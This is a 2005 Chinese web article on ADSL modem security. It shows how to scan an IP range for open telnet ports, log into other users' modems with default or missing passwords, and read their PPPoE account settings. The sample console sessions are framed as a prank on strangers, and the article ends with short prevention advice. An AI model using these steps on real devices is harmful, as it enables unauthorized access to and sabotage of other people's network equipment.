一些ADSL Modem的安全问题

时间:2005-11-22 来源: 作者: 点击:
现在用ADSL的人越来越多了,电信局也大力推荐一些带路由的ADSLMODEM,大家都知道,这些ADSLMODEM大多数用Telnet设置,例如南宁电信推荐大多数用户使用的ZyXELPRESTIGE642ADSLModem。 但是很多用户的安全意识不高。 密码 一般ADSLModem需要一个密码登陆设置界面,但这个
  
现在用ADSL的人越来越多了,电信局也大力推荐一些带路由的ADSL MODEM,大家都知道,这些ADSL MODEM大多数用Telnet设置,例如南宁电信推荐大多数用户使用的ZyXEL PRESTIGE 642 ADSL Modem。 
但是很多用户的安全意识不高。 

密码 
一般ADSL Modem需要一个密码登陆设置界面,但这个默认密码经常被公开,而电信局也没有提示用户更改,这样的MODEM给用户留下了一个隐患 

破坏 
ADSL Modem的设置里经常有些敏感选项,如reset、disconnect、reboot等,一旦这些设置改动,你的Modem也许就“废”了 

实例 
用任意一个扫描器扫自己所处IP段的23端口,一会儿就会看到一些IP有回应了,现在Telnet上去: 

c:\windows\>telnet x.x.x.x 23 
Router Manager Console Version: 1.07 
Please enter your password: 
要密码?上google找一下相关资料,Login~~ 
Please enter your password: **** 
User Logged in. 

Router Setup> 

c:\windows\>telnet x.x.x.x 23 

            ******************* 
            Welcome to Titanium 
            ******************* 

GlobespanVirata Inc., Software Release VIK-1.37.020524i/T93.3.13. 
Copyright (c) 2001-2002 by GlobespanVirata, Inc. 

login:       
又要?再google…… 
上面两个都是要默认密码的,不好玩,看看下面的拍案惊奇: 
c:\windows\>telnet x.x.x.x 23 
      
      ISIN 6131R Copyright by ARESCOM 2001 
   
Login Success! 
大哥有没有搞错?我没输入Password啊~~~@_@ 
ISIN>help   
先看看帮助 

          ******* Console Help Menu ******* 
Available Command: 

add        add objects in talbe 
connect      start the connection 
delete      delete objects in table 
disconnect    disconnect modem connection 
help       display this menu again 
quit       quit the system 
reboot      reboot the router 
reset       reset the configuration, and reboot 
save       save the configuration 
set        set system parameters 
show       display system status 
test       system test 
upgrade      upgrade the firmware via FTP, TFTP and XMODEM 

ISIN>show sysinfo 

Vendor: Arescom 
Model: ISIN 6131R (Hardware) 
Version: 5.3.08B (Software version) 
UpTime: 0363:57 (hh:mm) 

ISIN> 

再看:  
c:\windows\>telnet x.x.x.x 23 

logged on; type `@exit' to close connection. 
>>help 
陌生人记得问路:P 
Command: 
adsl      - entry to ADSL menu 
default     - set all configuration to factory setting 
ipoa      - entry to IPoA menu 
lan       - entry to Ethernet menu 
list      - list status for enabled PVC 
manage     - entry to management menu 
mode      - exit this menu and change modem mode 
pat       - entry to PAT menu 
ping      - ping IP for testing purpose 
pppoa      - entry to PPPoA menu 
pppoe      - entry to PPPoE menu 
quick      - quick setup 
r1483      - entry to RFC1483 menu 
restart     - reboot modem 
rtable     - entry to Routing Table menu 
save      - save and restart modem 
show      - display configuration of PVC and Ethernet 
ver       - display software version 

Type 'help' or 'help <command>' for more details 
>> show 
看看他有什么秘密? 
Ethernet ip: 192.168.1.1 
Subnet mask: 255.255.255.0 
FullDuplex:Enable 

DHCP current setting : disable. 
DHCP ineffective setting : disable. 

PPPoE setting: 
Function VPI/VCI   CLASS UserID/Authentication 
PPPoE    0/35    ubr  bnn*******/CHAP <-------账号 
     LLC=Disable  Echo is disabled 

PPPoE IP : 218.21.*.* 

PAT enabled interface: 
Interface   IP address 
PPPoE     218.21.*.* 


PAT incoming table: 
No. i/f name|WanIP   Port/Protocal  Server IP 
1 pppoe        23/tcp     192.168.1.1 

effective routing table: 
route add ppp_route     0.0.0.0 218.21.*.* 00:00:00:00 1 # MAN via ppp_ 
device 

>> ver 

Version : 2.80ZE (2.80ZE-H01.2103-FM11.0507A10Z 24/Jul/2001 14:50)  


仅仅这样就掌握了整个MODEM的控制权!只要我修改他的配置,他的MODEM就麻烦了,等电信局的人上门维修吧! 

预防 
安装防火墙,禁止外部连接,更改ADSL Modem默认密码。 

------分隔线----------------------------
顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------
最新评论 查看所有评论
发表评论 查看所有评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
用户名: 密码: 验证码:
推荐内容
  • NIDS和HIDS比较

    NIDS和HIDS比较 目前,在安全市场上,最普遍的两种入侵检测产品是基于网络的网络入侵...

  • HIDS逐渐的成为主流

    HIDS逐渐的成为主流 当前的网络IDS系统可以分为基于网络数据包分析的系统(NIDS)和基...

  • IDS术语(1)

    IDS术语 DOCSHOW.NET A. Cliff by A. Cliff last updated July 3, 2001 Translated by...

  • 安装入侵检测系统后的注意事项

    安装入侵检测系统后的注意事项 在经过数月的评估、测试、购置等工作,部署好入侵检测...

  • 如何构建一个IDS

    如何构建一个IDS 通常来说,一个企业或机构准备进军此领域时,往往选择从基于网络的ID...

  • 什么是入侵检测

    什么是入侵检测 入侵检测是 防火墙 的合理补充,帮助系统对付网络攻击,扩展了系统管...